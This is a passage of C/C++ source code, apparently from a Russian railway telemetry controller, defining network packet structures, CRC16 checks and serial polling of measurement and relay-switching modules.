соотнеся поля "char Group[9];" и "char HandleName[9];" * с разрешенными именами в ИНИ, можем адресовано передавать ТС по IPX * (т.е. узнаем "struct Address3D" - кому ТС, от кого ТУ) */ struct PacketLive { /* ключ потока - 1б - для 'я жив' всегда 5 */ char key; /* в КАТЕ эта стуктура наз-ся "struct Setting" в файле "dcdef.h" */ /* локальная группа */ char Group[9]; /* имя машины !!! */ char HandleName[9]; /* имя парной машины !!! */ char HandlePair[9]; char ControlStation[20]; unsigned short /* если почикана парная */ Pair:1, /* есть ТУшная УДИ и пос ТУ разреш */ TU:1, /* разреш формирование ТУ */ Manager:1, /* основной комплект (приоритет) */ Main:3, /* основной комплект (приоритет) */ MaxPrty:3, /* тот, кто посылает синхр времени */ WatchServer:1, /* 0=NET,1=MODEM */ Way:1, HasPair:1; unsigned short KOPport; unsigned short IElemMain; unsigned long FreeSpace; unsigned short UPS_port; unsigned short DspStartLevel; /** в КАТЕ эта стуктура наз-ся "class CVersionCheck" в файле "Version.h" */ struct ftime { /* Two second interval */ unsigned short ft_tsec:5; /* Minutes */ unsigned short ft_min:6; /* Hours */ unsigned short ft_hour:5; /* Days */ unsigned short ft_day:5; /* Months */ unsigned short ft_month:4; /* Year */ unsigned short ft_year:7; } Time; long Length_; }; /** * сетевой пакет с ТЗК ТС */ class ts_packet { private: /* пакет с ТЗК ТС */ char * packet; /* ТЗК ТС */ char * tzk; /* размер пакета с ТЗК ТС */ unsigned packet_size; /* размер ТЗК ТС */ unsigned tzk_size; public: /** * Конструктор. * @param st_name Указатель на строку с названием станции. * @param num_group Число групп в ТЗК ТС. */ ts_packet (); ts_packet (ts_packet &); ts_packet (const char * st_name, short num_groups); /** * Деструктор. */ ~ts_packet (); /** * Функция возвращает указатель на пакет. * @return Указатель на начало пакета. */ char * get_packet (void); /** * Функция возвращает указатель на ТЗК. * @return Указатель на начало ТЗК. */ char * get_tzk (void); /** * Функция возвращает размер пакета. * @return Размер пакета. */ unsigned int get_packet_size(); /** * Функция возвращает размер ТЗК ТС. * @return Размер ТЗК ТС. */ unsigned int get_tzk_size(); }; #endif <file_sep>/Controller/src/net_mpk/net_mpk.cpp #include <math.h> #include <sys/time.h> #include <stdio.h> #include "net_mpk.h" ts_packet :: ts_packet (const char * st_name, short num_groups) { unsigned int gr_imps = 16; PacketTS ts_head(st_name, num_groups, gr_imps); tzk_size = num_groups * gr_imps/8; packet_size = sizeof(struct PacketHead) + ts_head.get_size() + tzk_size; packet = new char[packet_size]; memset(packet, 0, packet_size); /* заголовок сетевого пакета */ struct PacketHead * packet_head = reinterpret_cast <PacketHead *>(packet); /* Номер посылаемого пакета */ packet_head->Number = 0; /* Размер посылаемого пакета, без учета структуры PacketHead */ packet_head->Length = ts_head.get_size() + tzk_size; /* Направление передачи:0=сеть, 1=модем */ packet_head->Dest = 0; /* Длина блоков 500 */ packet_head->PakLen = 500; /* Текущий номер блока 0 */ packet_head->CurNum = 0; /* Количество поступивших блоков 1 */ packet_head->NumPieces = 1; /* заголовок пакета ТС */ memcpy(packet + sizeof(struct PacketHead), ts_head.get_head(), ts_head.get_size()); tzk = packet + sizeof(struct PacketHead) + ts_head.get_size(); } ts_packet :: ~ts_packet () { delete []packet; } char * ts_packet :: get_packet (void) { return packet; } char * ts_packet :: get_tzk (void) { return tzk; } unsigned int ts_packet :: get_packet_size (void) { return packet_size; } unsigned int ts_packet :: get_tzk_size (void) { return tzk_size; } <file_sep>/Uart/src/riku.cpp #include "riku.h" stdc::Module::Module(){ _fail.process = 0; _fail.crc_fail = 0; _fail.not_answer = 0; // std::cout<<"Module Constructer without attributes\n"; } stdc::Module::Module(ulong addr, std::string id){ _addr = addr; _id = id; _speed = 19200; _fail.process = 0; _fail.crc_fail = 0; _fail.not_answer = 0; } stdc::Module::Module(ulong addr, std::string id, ulong speed){ _addr = addr; _id = id; _speed = speed; _fail.process = 0; _fail.crc_fail = 0; _fail.not_answer = 0; } stdc::Module::~Module(){ } unsigned char stdc::Module::left_circle_shift(unsigned char *buf,int n) { unsigned char mask,res=0; unsigned char *ub_start=buf; unsigned char *ub_end=buf+n; unsigned char *ub_prev=ub_start; if(ub_start!=ub_end) { res=0x80 & (*ub_start); *ub_start<<=1; ++ub_start; } while(ub_start!=ub_end) { mask= 0x80 & (*ub_start); *ub_start<<=1; if(mask==0) *ub_prev &= 0xFE; else *ub_prev |= 0x01; ++ub_start; ++ub_prev; } return res; } #define setHres(p, val) p=( ( ((unsigned short)(val)<<8) &0xff00 ) | (p&0x00ff) ) #define setLres(p, val) p=( ( (unsigned short)(val)&0x00ff ) | (p&0xff00) ) unsigned short stdc::Module::CRC16 ( unsigned char *buf,int n) { /* printf ("crc_buffer:\n "); for ( int ii=0; ii < n; ii++ ) printf ("%x ", *(buf+ii) ); printf ("\n"); */ short res=0; unsigned char mask; unsigned char Hres=0x80; unsigned char Lres=0x05; int lenbit=(n-2)*8; int i; if(n<=2) return res; for(i=0;i<lenbit;i++) { mask=left_circle_shift(buf,n); if(mask!=0) { buf[0]^=Hres; buf[1]^=Lres; } } setHres(res,buf[0] ); setLres(res,buf[1] ); return res; } stdc::Ak::Ak(ulong addr, std::string id, ak_type type, ulong speed, const char* place){ _addr = addr; _speed = speed; _id = id; _place = place; _type = type; _req = new Udo_Request; _ans = new Udo_Answer; _req->addr = _addr; _req->start = 0x0; _req->num_group = 0x3f; unsigned char *b=(unsigned char*)&_req->group; memset ( b, 0xff, sizeof(_req->group) ); // _isVpLeft = _isVpRight = false; // leftkey=leftmode=rightkey=rightmode=0; memset (keymod, 0x00, 4*sizeof(chankeymod) ); std::cout<<"\triku::Ak: create whith name: "<<_id<<" ,addr: "<<_addr<<" ,speed: "<<_speed<<", place: "<<_place<<"\n"; } stdc::Ak::~Ak(){ // std::cout<<"destroy ak: "<<_id<<"\n"; delete _req, _ans; } stdc::Ak::Udo_Request* stdc::Ak::getReq(){ unsigned short crc; uchar buf[8]; memcpy(buf, (unsigned char*)_req + 1, 8); crc = CRC16(buf,8); // printf ("crc:%x\n",crc); _req->crc1=crc>>8; _req->crc2=crc&0xff; return _req; } void stdc::Ak::offChan(long side){ //выключает ключи на одной из боковых плат // std::cout<<"invoke offChan on ak: "<<_id<<" side "<<side<<"\n"; stdc::Ak::onGr( side, 0 ); stdc::Ak::onKey( keymod[side-1].key, keymod[side-1].mode ); keymod[side-1].isVp = false; } void stdc::Ak::onGr(int side, bool onoff ){ if (_type == ak6d2) onKey ( 4 + (side-1) + (side-1)*8, (int)onoff ); if (_type == ak3d4){ if ( (side == 1) || (side == 3) ) onKey ( 4 + (side-1)*4, (int)onoff ); if ( (side == 2) || (side == 4) ) onKey ( 1 + (side-1)*4, (int)onoff ); } } void stdc::Ak::onEi(int side, bool onoff){ if (_type == ak6d2) onKey ( 4 + !(side-1) +(side-1)*8, (int)onoff ); } bool stdc::Ak::getVp(int side){ return keymod[side-1].isVp; } void stdc::Ak::onoffInd(int side, int key, int mode ){ if (_type == ak6d2 ){ //Включаем нужные индивидуальные ключи if (key>3) number = (side-1)*8 + key + 2; //ЭИ и групповые ключи в середине else number = (side-1)*8 + key; stdc::Ak::onKey (number, mode ); //включили нужные индивидуальные ключи } if (_type == ak3d4){ //Включаем нужные индивидуальные ключи if ( (side == 1) || (side == 3) ) number = (side-1)*4 + key; if ( (side == 2) || (side == 4) ) number = (side-1)*4 + key + 1; stdc::Ak::onKey (number, mode ); //включили нужные индивидуальные ключи } keymod[side-1].key = number; keymod[side-1].mode = mode; keymod[side-1].isVp = true; } void stdc::Ak::onInd(int side, int key, int mode ){ status = 2*mode + 1; if (_type == ak6d2 ){ //Включаем нужные индивидуальные ключи if (key>3) number = (side-1)*8 + key + 2; //ЭИ и групповые ключи в середине else number = (side-1)*8 + key; stdc::Ak::onKey (number, status ); //включили нужные индивидуальные ключи } // status = 2*mode + 1; if (_type == ak3d4){ //Включаем нужные индивидуальные ключи if ( (side == 1) || (side == 3) ) number = (side-1)*4 + key; if ( (side == 2) || (side == 4) ) number = (side-1)*4 + key + 1; stdc::Ak::onKey (number, status ); //включили нужные индивидуальные ключи } keymod[side-1].key = number; keymod[side-1].mode = status-1; keymod[side-1].isVp = true; } int stdc::Ak::onKey(int number, int state){ uchar *pair; int key1, key2, group1, group2, bit1, bit2; uchar ak2pair[16][2]={{16,17},{18,19},{20,21},{22,23}, {40,41},{42,43},{44,45},{46,47}, {8,9},{10,11},{12,13},{14,15}, {32,33},{34,35},{36,37},{38,39}}; unsigned short virtual2real[6]={4,2,0,1,3,1}; // printf ("before set state %s %d %d\n",_id.c_str(), number, state); if(number > 16) return 0; if(state>5 ||state<0) return 0; /* switch (state) 0-выключить оба 1-включить оба 2-выключить первый в паре 3-включить первый в паре 4-выключить второй в паре 5-включить второй в паре */ pair = ak2pair[number-1]; key1 = pair[0]; key2 = pair[1]; if ( key1 > 47 || key2 >47 ) return 0; group1 = key1/8; bit1 = key1 - 8*group1; group1 = virtual2real[group1]; group2 = key2/8; bit2 = key2 - 8*group2; group2 = virtual2real[group2]; // printf ("set state %s %d %d -> %d-? %d-?\n",_id.c_str(),number, state, key1, key2); switch (state) { case 0: _req->group[group1]=_req->group[group1]|((0x1<<bit1)); _req->group[group2]=_req->group[group2]|((0x1<<bit2)); break; case 1: _req->group[group1]=_req->group[group1]&((0x1<<bit1)^0xff); _req->group[group2]=_req->group[group2]&((0x1<<bit2)^0xff); break; case 2: _req->group[group1]=_req->group[group1]|((0x1<<bit1)); break; case 3: _req->group[group1]=_req->group[group1]&((0x1<<bit1)^0xff); break; case 4: _req->group[group2]=_req->group[group2]|((0x1<<bit2)); break; case 5: _req->group[group2]=_req->group[group2]&((0x1<<bit2)^0xff); break; } return 1; } stdc::Ion::Ion(ulong addr, std::string id, ulong speed, const char* place ){ _addr = addr; _speed = speed; _id = id; _place = place; std::cout<<"\triku::Ion: create whith name: "<<_id<<" ,addr: "<<_addr<<" ,speed: "<<_speed<<", place: "<<place<<"\n"; _req = new Udo_Request; _ans = new Udo_Answer; _req->addr = _addr; _req->start = 0x0; _req->num_group = 0x3f; unsigned char *b=(unsigned char*)&_req->group; memset ( b, 0xff, sizeof(_req->group) ); left500=right500=false; } stdc::Ion::~Ion(){ std::cout<<"destroy ion: "<<_id<<"\n"; delete _req, _ans; } void stdc::Ion::off( int side ){ if (side == 1){ stdc::Ion::onKey(2,0); stdc::Ion::onKey(3,0); stdc::Ion::onKey(4,0); stdc::Ion::onKey(5,0); } else{ stdc::Ion::onKey(6,0); stdc::Ion::onKey(7,0); stdc::Ion::onKey(8,0); stdc::Ion::onKey(9,0); } } void stdc::Ion::ground( int side ){ if (side == 1){ stdc::Ion::onKey(2,0); stdc::Ion::onKey(3,1); stdc::Ion::onKey(4,1); stdc::Ion::onKey(5,0); } else{ stdc::Ion::onKey(6,0); stdc::Ion::onKey(7,1); stdc::Ion::onKey(8,1); stdc::Ion::onKey(9,0); } } void stdc::Ion::direct( int side){ if (side == 1){ stdc::Ion::onKey(2,1); stdc::Ion::onKey(3,1); stdc::Ion::onKey(4,0); stdc::Ion::onKey(5,0); } else{ stdc::Ion::onKey(6,0); stdc::Ion::onKey(7,0); stdc::Ion::onKey(8,1); stdc::Ion::onKey(9,1); } } void stdc::Ion::undirect( int side ){ if (side == 1){ stdc::Ion::onKey(2,0); stdc::Ion::onKey(3,0); stdc::Ion::onKey(4,1); stdc::Ion::onKey(5,1); } else{ stdc::Ion::onKey(6,1); stdc::Ion::onKey(7,1); stdc::Ion::onKey(8,0); stdc::Ion::onKey(9,0); } } void stdc::Ion::u50_500v( int side ){ if (side == 1){ left500 ? left500=false : left500=true; stdc::Ion::onKey(1,(int)left500); } else{ right500 ? right500=false : right500=true; stdc::Ion::onKey(10,(int)right500); } } bool stdc::Ion::is500v( int side ){ if (side == 1){ return left500; } else{ return right500; } } stdc::Ion::Udo_Request* stdc::Ion::getReq(){ unsigned short crc; uchar buf[8]; memcpy(buf, (unsigned char*)_req + 1, 8); /* printf("crc buf: "); memcpy(buf, (unsigned char*)_req + 1, 8); for (int i=0; i< sizeof(buf); i++) printf("%x ", buf[i]); printf("\n "); */ crc = CRC16(buf,8); // printf ("crc:%x\n",crc); _req->crc1=crc>>8; _req->crc2=crc&0xff; return _req; } int stdc::Ion::onKey(int number, int state ){ uint group, bit; uchar ion2udo[10]={43, 44, 45, 46, 47, 8, 9, 10, 11, 12}; // 12, 11, 10, 9, 8}; ushort virtual2real[6]={4,2,0,1,3,1}; if(number > 10) return 0; // printf ("set state %s %d %d -> (",_id.c_str(),number, state); number = ion2udo[number-1]; // printf (" %d )\n ",number); if(number > 48) return 0; group=number/8; bit=number-group*8; group=virtual2real[group]; if (state) _req->group[group]=_req->group[group]&((0x1<<bit)^0xff); else _req->group[group]=_req->group[group]|((0x1<<bit)); return 1; } stdc::Uns::Uns(){ _addr = 0; _speed = 0; _id = ""; } stdc::Uns::~Uns(){ } //********************************* UnsFrc ************************ stdc::UnsFrc::UnsFrc(ulong addr, std::string id, ulong speed, const char* place ){ std::cout<<"\triku::UnsFrc: create whith name: "<<id<<" ,addr: "<<addr<<" ,speed: "<<speed<<", place: "<<place<<"\n"; _addr = addr; _speed = speed; _id = id; _place = place; _aks.push_back(_aks1); _aks.push_back(_aks2); _type = frc; _isol = false; _req = new struct Uns_Request; _ans = new struct Uns_Answer; _exch = new stdc::Exchange [4]; _gui = new stdc::Gui_Send; _req->start = 0; _req->addr = _addr; _req->command_len = 0x3; _req->command = 0; _req->mode =0x0000; _req->crc1 =0x00; _req->crc2 =0x00; char buff[25]="не подключен"; for (int i=0; i<4; i++ ){ // snprintf(buff, sizeof(buff), "%d",i); (_exch+i )->title= buff; (_exch+i )->isIsol=false; (_exch+i )->is500v=false; (_exch+i )->Phdop = 0; } _gui->Isol[0] = 0; _gui->Isol[1] = 0; _gui->Isol[2] = 0; _gui->Isol[3] = 0; // memset (_gui, 0, sizeof(stdc::Gui_Send) ); } stdc::UnsFrc::~UnsFrc(){ std::cout<<"destroy uns: "<<_id<<"\n"; ion_map::iterator begin_ion, end_ion; ak_map::iterator begin_ak, end_ak; for (int i=0; i<_aks.size(); i++ ){ begin_ak = _aks[i].begin(); end_ak = _aks[i].end(); while (begin_ak != end_ak){ delete begin_ak->second; begin_ak++; } } begin_ion = _ions.begin(); end_ion = _ions.end(); while (begin_ion != end_ion){ delete begin_ion->second; begin_ion++; } delete _exch, _gui; } void* stdc::UnsFrc::getReq(){ unsigned short crc; uchar buf[ 7 ]; memcpy( buf, (unsigned char*)_req + 1, sizeof(buf) ); memset( buf+(sizeof(buf)-2), 0, 2 ); //затираем старый crc crc = CRC16( buf, sizeof(buf) ); // printf ("crc:%x\n",crc); _req->crc1=crc>>8; _req->crc2=crc&0xff; return _req; } int stdc::UnsFrc::checkAnswer(uchar *buffer, bool _deb){ int ret, i; ushort crc; uchar crc1,crc2; int answer_size; answer_size = sizeof(struct stdc::UnsFrc::Uns_Answer); uchar crc_buffer [answer_size-1]; crc1=buffer[answer_size-2]; crc2=buffer[answer_size-1]; memcpy ( crc_buffer, buffer+1, answer_size-1 ); crc_buffer [answer_size-3]=0; crc_buffer [answer_size-2]=0; crc = CRC16( crc_buffer, answer_size-1 ); if (_deb) printf ("crc:%x \n",crc ); if ( !( (crc1==(crc>>8)) && (crc2==(crc&0xff)) && (buffer[1]==_addr) ) ) { if (_deb) printf ("Not Checks\n"); return ERROR; } _ans = (struct stdc::UnsFrc::Uns_Answer *)buffer; _ans->Phase[0] += ( _exch->Phdop ); _ans->Phase[1] += ( (_exch+1)->Phdop ); _ans->Phase[2] += ( (_exch+2)->Phdop ); _ans->Phase[3] += ( (_exch+3)->Phdop ); if (_deb){ for(int i=0; i<4; i++){ printf ("Channel:%d VDC: %8.4f VAC: %8.4f VACf: %8.4f Phase: %.4d ",i+1, _ans->VDC[i], _ans->VAC[i], _ans->VACf[i], _ans->Phase[i] ); std::cout<<" Phdop: "<<( (_exch+i)->Phdop )<<"\n"; //printf ("stdc::UnsFrc::checkAnswer Channel:%d Phase: %8.4f ",i+1, _ans->Phase[i] ); } printf ("Mode: %3x\n", _ans->mode); printf ("Diag: %2x\n", _ans->Diag); } //********************************** Формируем структуру обмена ********************* gui_ready=false; memcpy (_gui, ( (uchar*)_ans+3*sizeof(uchar) ), ( 16*sizeof(float)+4*sizeof(short) ) ); ushort _mode = _ans->mode; uchar _isol = _mode & 0x00ff; uchar _amp = _mode>>8; _gui->isolOnOff =(bool)( (_isol & 0x8)>>3 ); _gui->handAmpl[0] = (bool)(_amp&0x1 ); _gui->autoAmpl[0] = (bool)((_amp&0x2)>>1 ); _gui->handAmpl[1] = (bool)( (_amp&0x4)>>2 ); _gui->autoAmpl[1] = (bool)( (_amp&0x8)>>3 ); _gui->handAmpl[2] = (bool)( (_amp&0x10)>>4 ); _gui->autoAmpl[2] = (bool)( (_amp&0x20)>>5 ); _gui->handAmpl[3] = (bool)( (_amp&0x40)>>6 ); _gui->autoAmpl[3] = (bool)( (_amp&0x80)>>7 ); snprintf (_gui->obj[0], sizeof(_gui->obj[0]),"%s", (_exch+0)->title.c_str() ) ; snprintf (_gui->obj[1], sizeof(_gui->obj[1]),"%s", (_exch+1)->title.c_str() ) ; snprintf (_gui->obj[2], sizeof(_gui->obj[2]),"%s", (_exch+2)->title.c_str() ) ; snprintf (_gui->obj[3], sizeof(_gui->obj[3]),"%s", (_exch+3)->title.c_str() ) ; _gui->is500v[0] = (_exch )->is500v; _gui->is500v[1] = (_exch+1)->is500v; _gui->is500v[2] = (_exch+2)->is500v; _gui->is500v[3] = (_exch+3)->is500v; gui_ready=true; return OK; } void stdc::UnsFrc::amplif(int chanel, int state){ int mask=0x3; char shift = 2*(chanel-1)+8; mask = ( mask << shift )^0xffff; _req->mode &= mask; _req->mode |= state << shift; } void stdc::UnsFrc::setIsol(bool state){ _isol = state; if(state){ _req->mode &= 0xff08; _req->mode |= 0x08; } else _req->mode &= 0xfff7;//disable isol for (int i=0; i<_aks.size(); i++){ begin_ak = _aks[i].begin(); end_ak = _aks[i].end(); while(begin_ak != end_ak){ begin_ak->second->offChan(1); if (!begin_ak->second->getVp( 1 ) ) begin_ak->second->onEi(1, (int)_isol); begin_ak->second->offChan(2); if (!begin_ak->second->getVp( 2 ) ) begin_ak->second->onEi(2, (int)_isol); begin_ak++; } } } double stdc::UnsFrc::getIval( int chan ){ return _ans->VDC[ chan-1 ]; } stdc::Exchange* stdc::UnsFrc::getExch( int chan ){ // for (int i=0; i<4; i++ ) // int i = chan-1; // printf("stdc::UnsFrc::getExch i: %d, title: %s, isIsol: %d, Phdop: %d\n", i+1, (_exch+i )->title.c_str(), ( _exch+i )->isIsol, ( _exch+i )->Phdop ); return ( _exch+(chan-1) ); } stdc::Gui_Send* stdc::UnsFrc::getGui(){ return _gui; } void stdc::UnsFrc::setIsolVal(double _d, int _chan){ _gui->Isol[ _chan-1 ] = _d; // printf ("stdc::UnsFrc isol on %d channel is %f \n", _chan, _gui->Isol[ _chan-1 ]); } // ******************************************** UNS TRC ************************************************ stdc::UnsTrc::UnsTrc(ulong addr, std::string id, ulong speed, const char* place ){ std::cout<<"\triku::UnsTrc: create whith name: "<<id<<" ,addr: "<<addr<<" ,speed: "<<speed<<", place: "<<place<<"\n"; _addr = addr; _speed = speed; _id = id; _place = place; _aks.push_back(_aks1); _aks.push_back(_aks2); _type = trc; _isol = false; _req = new struct Uns_Request; _ans = new struct Uns_Answer; _exch = new stdc::Exchange [4]; _gui = new stdc::Gui_Send; _req->start = 0; _req->addr = _addr; _req->command_len = 0x3; _req->command = 0; _req->mode =0x0000; _req->crc1 =0x00; _req->crc2 =0x00; char buff[40]="не подключен"; for (int i=0; i<4; i++ ){ // snprintf(buff, sizeof(buff), "%d",i); (_exch+i )->title= buff; (_exch+i )->isIsol=false; (_exch+i )->is500v=false; (_exch+i )->Phdop = 0; } _gui->Isol[0] = 0; _gui->Isol[1] = 0; _gui->Isol[2] = 0; _gui->Isol[3] = 0; // memset (_gui, 0, sizeof(stdc::Gui_Send) ); } stdc::UnsTrc::~UnsTrc(){ std::cout<<"destroy uns: "<<_id<<"\n"; ion_map::iterator begin_ion, end_ion; ak_map::iterator begin_ak, end_ak; for (int i=0; i<_aks.size(); i++ ){ begin_ak = _aks[i].begin(); end_ak = _aks[i].end(); while (begin_ak != end_ak){ delete begin_ak->second; begin_ak++; } } begin_ion = _ions.begin(); end_ion = _ions.end(); while (begin_ion != end_ion){ delete begin_ion->second; begin_ion++; } delete _exch, _gui; } int stdc::UnsTrc::checkAnswer(uchar *buffer, bool _deb){ int ret, i; ushort crc; uchar crc1,crc2; int answer_size; answer_size = sizeof(struct stdc::UnsTrc::Uns_Answer); uchar crc_buffer [answer_size-1]; crc1=buffer[answer_size-2]; crc2=buffer[answer_size-1]; memcpy ( crc_buffer, buffer+1, answer_size-1 ); crc_buffer [answer_size-3]=0; crc_buffer [answer_size-2]=0; crc = CRC16( crc_buffer, answer_size-1 ); if (_deb) printf ("crc:%x \n",crc ); if ( !( (crc1==(crc>>8)) && (crc2==(crc&0xff)) && (buffer[1]==_addr) ) ) { if(_deb) printf ("Not Checks\n"); return ERROR; } _ans = (struct stdc::UnsTrc::Uns_Answer *)buffer; if (_deb){ for(int i=0; i<4; i++){ printf ("Channel:%d ** VDC:%8.4f VAC:%8.4f VACf420:%8.4f VACf480:%8.4f VACf520:%8.4f VACf720:%8.4f VACf780:%8.4f \n",i+1, _ans->TRC[i].VDC, _ans->TRC[i].VAC, _ans->TRC[i].VACf[0], _ans->TRC[i].VACf[1], _ans->TRC[i].VACf[2], _ans->TRC[i].VACf[3], _ans->TRC[i].VACf[4] ); } printf ("Mode: %3x\n", _ans->mode); printf ("Diag: %2x\n", _ans->Diag); } //********************************** Формируем обменную структуру ************************************ memcpy (_gui->TRC, ( (uchar*)_ans+3*sizeof(uchar) ), ( 4*sizeof(struct channelTRC) ) ); ushort _mode = _ans->mode; uchar _isol = _mode & 0x00ff; uchar _amp = _mode>>8; _gui->isolOnOff =(bool)( (_isol & 0x8)>>3 ); _gui->handAmpl[0] = (bool)(_amp&0x1 ); _gui->autoAmpl[0] = (bool)((_amp&0x2)>>1 ); _gui->handAmpl[1] = (bool)( (_amp&0x4)>>2 ); _gui->autoAmpl[1] = (bool)( (_amp&0x8)>>3 ); _gui->handAmpl[2] = (bool)( (_amp&0x10)>>4 ); _gui->autoAmpl[2] = (bool)( (_amp&0x20)>>5 ); _gui->handAmpl[3] = (bool)( (_amp&0x40)>>6 ); _gui->autoAmpl[3] = (bool)( (_amp&0x80)>>7 ); snprintf (_gui->obj[0], sizeof(_gui->obj[0]),"%s", (_exch+0)->title.c_str() ) ; snprintf (_gui->obj[1], sizeof(_gui->obj[1]),"%s", (_exch+1)->title.c_str() ) ; snprintf (_gui->obj[2], sizeof(_gui->obj[2]),"%s", (_exch+2)->title.c_str() ) ; snprintf (_gui->obj[3], sizeof(_gui->obj[3]),"%s", (_exch+3)->title.c_str() ) ; _gui->is500v[0] = (_exch )->is500v; _gui->is500v[1] = (_exch+1)->is500v; _gui->is500v[2] = (_exch+2)->is500v; _gui->is500v[3] = (_exch+3)->is500v; return OK; } void* stdc::UnsTrc::getReq(){ unsigned short crc; uchar buf[ 7 ]; memcpy( buf, (unsigned char*)_req + 1, sizeof(buf) ); memset( buf+(sizeof(buf)-2), 0, 2 ); //затираем старый crc crc = CRC16( buf, sizeof(buf) ); // printf ("crc:%x\n",crc); _req->crc1=crc>>8; _req->crc2=crc&0xff; return _req; } void stdc::UnsTrc::amplif(int chanel, int state){ int mask=0x3; char shift = 2*(chanel-1)+8; mask = ( mask << shift )^0xffff; _req->mode &= mask; _req->mode |= state << shift; } void stdc::UnsTrc::setIsol(bool state){ _isol = state; if(state){ _req->mode &= 0xff08; _req->mode |= 0x08; } else _req->mode &= 0xfff7;//disable isol for (int i=0; i<_aks.size(); i++){ begin_ak = _aks[i].begin(); end_ak = _aks[i].end(); while(begin_ak != end_ak){ if (!begin_ak->second->getVp( 1 ) ) begin_ak->second->onEi(1, (int)_isol); if (!begin_ak->second->getVp( 2 ) ) begin_ak->second->onEi(2, (int)_isol); begin_ak++; } } } double stdc::UnsTrc::getIval( int chan ){ return 0; } stdc::Exchange* stdc::UnsTrc::getExch( int chan ){ return ( _exch+(chan-1) ); } stdc::Gui_Send* stdc::UnsTrc::getGui(){ return _gui; } void stdc::UnsTrc::setIsolVal(double _d, int _chan){ _gui->Isol[ _chan-1 ] = _d; //printf ("stdc::UnsTrc isol on %d channel is %f \n", _chan, _gui->Isol[ _chan-1 ]); } // ******************************************** UNS PA ************************************************ stdc::UnsPa::UnsPa(ulong addr, std::string id, ulong speed, const char* place, double offset, double coefficient, int current_type){ // std::cout<<"\triku::UnsPa: create whith id: "<<id<<" ,addr: "<<addr<<" ,speed: "<<speed<<"\n"; std::cout<<"\triku::UnsPa: create whith name: "<<id<<" ,addr: "<<addr<<" ,speed: "<<speed<<", place: "<<place<<"\n"; std::cout<<"\t\t\tcurrent_type: "<<current_type<<" ,coefficient: "<<coefficient<<" ,offset: "<<offset<<"\n"; _addr = addr; _speed = speed; _id = id; _place = place; _type = pa; _isol = false; //new abilities ======================== _current_type=current_type; _coefficient=coefficient; _offset=offset; //====================================== _req = new struct Uns_Request; _ans = new struct Uns_Answer; _gui = new PA_Data; _req->start = 0; _req->addr = _addr; _req->command_len = 0x1; if (!_current_type)_req->command = 0x20; // AC else _req->command = 0x25; //DC _req->crc1 =0x00; _req->crc2 =0x00; } stdc::UnsPa::~UnsPa(){ std::cout<<"destroy uns: "<<_id<<"\n"; delete _gui, _req, _ans; } int stdc::UnsPa::checkAnswer(uchar *buffer, bool _deb){ int retval, i; ushort crc; uchar crc1,crc2; int answer_size; //checking crc16 answer_size = sizeof(struct stdc::UnsPa::Uns_Answer); uchar crc_buffer [answer_size-1]; crc1=buffer[answer_size-2]; crc2=buffer[answer_size-1]; if (_deb) printf("crc1 =%x, crc2=%x\n",crc1,crc2); memcpy ( crc_buffer, buffer+1, answer_size-1); crc_buffer [answer_size-3]=0; crc_buffer [answer_size-2]=0; crc = CRC16( crc_buffer, answer_size-1); if (_deb) printf ("crc:%x \n",crc ); if ( !( (crc1==(crc>>8)) && (crc2==(crc&0xff)) && (buffer[1]==_addr) ) ) { if(_deb) printf ("CRC doesn't match\n"); return ERROR; } _ans = (struct stdc::UnsPa::Uns_Answer*)buffer; if (_deb){ printf ("Vbat %8.2f,\nVrms1A %8.2f, Vrms1B %8.2f, Vrms1C %8.2f\n", _ans->data.Vbat, _ans->data.Val[0].Vrms[0], _ans->data.Val[0].Vrms[1], _ans->data.Val[0].Vrms[2]); printf ("Irms1A %8.2f, Irms1B %8.2f, Irms1C %8.2f\n", _ans->data.Val[0].Irms[0], _ans->data.Val[0].Irms[1], _ans->data.Val[0].Irms[2] ); printf ("Vrms2A %8.2f, Vrms2B %8.2f, Vrms2C %8.2f\n", _ans->data.Val[1].Vrms[0], _ans->data.Val[1].Vrms[1], _ans->data.Val[1].Vrms[2] ); printf ("Irms2A %8.2f, Irms2B %8.2f, Irms2C %8.2f\n", _ans->data.Val[1].Irms[0], _ans->data.Val[1].Irms[1], _ans->data.Val[1].Irms[2] ); printf ("Diag1: %x\nDiag2: %x\n", _ans->Diag1, _ans->Diag2); } memcpy( _gui, &(_ans->data), sizeof(stdc::PA_Data) ); return OK; } void* stdc::UnsPa::getReq(){ unsigned short crc; uchar buf[ 5 ]; memcpy( buf, (unsigned char*)_req + 1, sizeof(buf) ); memset( buf+(sizeof(buf)-2), 0, 2 ); //затираем старый crc crc = CRC16( buf, sizeof(buf) ); _req->crc1=crc>>8; _req->crc2=crc&0xff; return _req; } stdc::PA_Data* stdc::UnsPa::getGuiPA(){ return _gui; } // ******************************************** Serial ************************************************** stdc::Serial::Serial(std::string tty, ulong speed, int debug, int delay){ _tty = tty; _speed = speed; _debug = debug; _delay = delay*1000; std::cout<<"\triku::Serial: create whith tty: "<<_tty<<" ,speed: "<<_speed<<"\n"; _sfd = OpenTTY( ); if (_sfd == -1 ) _isGoodSerial = false; else{ InitTTY( speed ); _isGoodSerial = true; } } stdc::Serial::~Serial(){ begin_uns = __uns.begin(); end_uns = __uns.end(); while(begin_uns != end_uns){ delete begin_uns->second; begin_uns++; } _tid->join(0); } void* stdc::Serial::ThreadSerial (void *arg ){ if (stdc::Serial * s = static_cast<stdc::Serial*> (arg) ){ printf("HandleTTY: %s delay %d\n", s->_tty.c_str(), s->_delay ); while (1){ s->HandleTTY(); usleep (s->_delay); } } } void stdc::Serial::HandleTTY(){ int ret=ERROR; memset (ans_buf, 0, sizeof(ans_buf)); begin_uns = __uns.begin(); end_uns = __uns.end(); while(begin_uns != end_uns){ //опрашиваем УНС if( (begin_uns->second->_type == frc ) || (begin_uns->second->_type == trc ) || (begin_uns->second->_type == pa ) ) { //если УНС ФРЦ или УНС ТРЦ if (begin_uns->second->getSpeed() != this->_speed ) //переключаем скорость в канале InitTTY (begin_uns->second->getSpeed() ); if (stdc::Serial::_debug) std::cout<<"\nHandle UNS: "<<begin_uns->second->getId()<<" addr: "<<begin_uns->second->getAddr()<<" speed: "<<begin_uns->second->getSpeed()<<"\n"; WriteTTY (begin_uns->second->getReq( ), begin_uns->second->getReqLen() ); ret = ReadTTY ( ans_buf, begin_uns->second->getAnsLen(), 100 ); if ( ret != begin_uns->second->getAnsLen() ){ if (stdc::Serial::_debug) printf("not answer get %d must:%d\n",ret,begin_uns->second->getAnsLen() ); begin_uns->second->addNot_Answer(); it_mlife = __mlife.find(begin_uns->second->getId() ); //сохранить инфу об отсутвии ответа. if (it_mlife != __mlife.end() ){ if (it_mlife->second && stdc::Serial::_debug) 